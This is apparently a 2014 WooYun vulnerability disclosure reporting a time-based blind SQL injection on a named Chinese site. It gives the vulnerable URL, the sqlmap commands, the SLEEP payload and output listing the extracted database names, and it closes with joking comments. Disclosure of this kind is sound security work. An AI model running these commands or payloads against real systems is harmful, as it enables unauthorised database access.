当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060592

漏洞标题:爱帮网主站SQL注入一枚

相关厂商:爱帮网

漏洞作者: Lonely

提交时间:2014-05-17 10:53

修复时间:2014-05-22 10:54

公开时间:2014-05-22 10:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-17: 细节已通知厂商并且等待厂商处理中
2014-05-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

上次一美女约我去一风景区爬山,尼玛山还没爬呢,在山脚还没迈一步就说太高了嫌累,要在山底找个酒店歇息。歇NMLGB,娇生惯养。我说你爬不爬,你不爬我爬,于是我丢掉她一个人迅速地登上了山顶,这才解气。

详细说明:

注入点。
sqlmap.py -u "http://www.aibang.com/?area=bizpay&cmd=card&id="
[19:36:09] [INFO] resuming back-end DBMS 'mysql'
[19:36:09] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: area=bizpay&cmd=card&id=' AND SLEEP(5) AND 'FYuk'='FYuk
---
[19:36:09] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0.11

漏洞证明:

D:\sqlmaps>sqlmap.py -u "http://www.aibang.com/
?area=bizpay&cmd=card&id=" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:38:21
[19:38:21] [WARNING] using 'C:\Documents and Settings\90sec\.sqlmap\output' as t
he output directory
[19:38:21] [INFO] resuming back-end DBMS 'mysql'
[19:38:21] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: area=bizpay&cmd=card&id=' AND SLEEP(5) AND 'FYuk'='FYuk
---
[19:38:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0.11
[19:38:22] [INFO] fetching database names
[19:38:22] [INFO] fetching number of databases
[19:38:22] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
[19:38:26] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[19:38:43] [INFO] adjusting time delay to 2 seconds due to good response times
3
[19:38:43] [INFO] retrieved: information_schema
[19:41:26] [INFO] retrieved: abpaid
[19:42:15] [INFO] retrieved: test
available databases [3]:
[*] abpaid
[*] information_schema
[*] test

修复方案:

不知道爱帮是否认领。

版权声明:转载请注明来源 Lonely@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-05-22 10:54

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-15 10:53 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)

    所以你成了屌丝了,哈哈哈

  2. 2014-05-17 10:54 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    于是我丢掉她一个人迅速地登上了山顶,这才解气

  3. 2014-05-17 11:02 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    嗯 这样才解气嘛。

  4. 2014-05-17 14:26 | ( 路人 | Rank:14 漏洞数:4 | 小夜,一个苦逼程序员)

    我还以为你趴到他身上了呢!

  5. 2014-05-17 15:36 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @Lonely 昨晚有个女神说过来我房间玩,我去你妈的,你过来玩老子还怎么挖洞,果断告诉女神说我不在家,说完马上就开始挖洞

  6. 2014-05-17 15:38 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    @Mosuan 哈哈。屌丝一枚。我要和你做朋友,

  7. 2014-05-22 16:43 | 橘子 ( 路人 | Rank:0 漏洞数:3 | 呢个...羞射高中生一枚。带上大神@Haswell...)

    @Lonely @Mosuan 祝你们幸福~